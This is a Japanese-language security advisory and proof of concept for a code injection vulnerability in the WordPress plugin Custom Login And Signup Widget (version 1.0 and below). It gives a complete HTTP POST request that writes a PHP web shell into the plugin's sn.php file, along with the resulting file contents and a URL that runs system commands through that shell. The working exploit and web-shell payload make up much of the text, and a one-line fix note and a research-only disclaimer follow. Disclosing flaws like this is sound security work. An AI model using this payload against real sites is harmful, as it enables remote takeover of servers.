
WordPress Custom Login And Signup Widget Plugin <= 1.0 は任意のコード実行に対して脆弱です
コード生成の制御不備(コードインジェクション) の脆弱性が bitto.Kazi Custom Login And Signup Widget に存在し、認証された管理者ユーザーによる任意の PHP コードの実行を許容します。
この問題は、バージョン 1.0 以下 のすべてのバージョンに影響します。
🔥 基本スコア: 9.1 (CRITICAL)
CWE ID: CWE-94 – コード生成の制御不備(コードインジェクション)
このプラグインでは、管理者が設定ページの 送信者名(Sender’s Name) フィールドを介して sn.php の内容を変更できます。
ユーザーから提供された入力は、サニタイズや検証が行われずに直接 PHP ファイルに書き込まれます。
その結果、text パラメータに指定された任意の PHP コードが PHP ファイル内に保存され、直接リクエストされることで実行され、リモートコード実行 (RCE) に至ります。
/wp-admin/options-general.php?page=custom-login-and-signup-widget&editbn1=yes
POST /wp-admin/options-general.php?page=custom-login-and-signup-widget&editbn1=yes HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://target.com/wp-admin/options-general.php?page=custom-login-and-signup-widget
Content-Type: application/x-www-form-urlencoded
Content-Length: 121
Origin: http://target.com
Connection: keep-alive
Cookie: *<insert your admin cookie here>*
Upgrade-Insecure-Requests: 1
Priority: u=0, i
text=%3C%3Fphp+if%28isset%28%24_GET%5B%27cmd%27%5D%29%29+system%28%24_GET%5B%27cmd%27%5D%29%3B+%3F%3E&submit=Submit
textsn.php (プラグインの設定 include)<?php
global $bwbn;
if(isset($_GET['cmd'])) system($_GET['cmd']);
?>
http://target.com/wp-content/plugins/custom-login-and-signup-widget/content/sn.php
注入が成功した後、以下のように直接アクセスしてコマンドを実行します:
http://target.com/wp-content/plugins/custom-login-and-signup-widget/content/sn.php?cmd=id
.php ファイルに書き込むことを決して許可しない。このプロジェクトは教育および研究目的のみで作成されています。
提供された情報の利用はすべて自己責任で行ってください。
著作者は、本コンテンツの誤用またはそれによって生じた損害について一切の責任を負いません。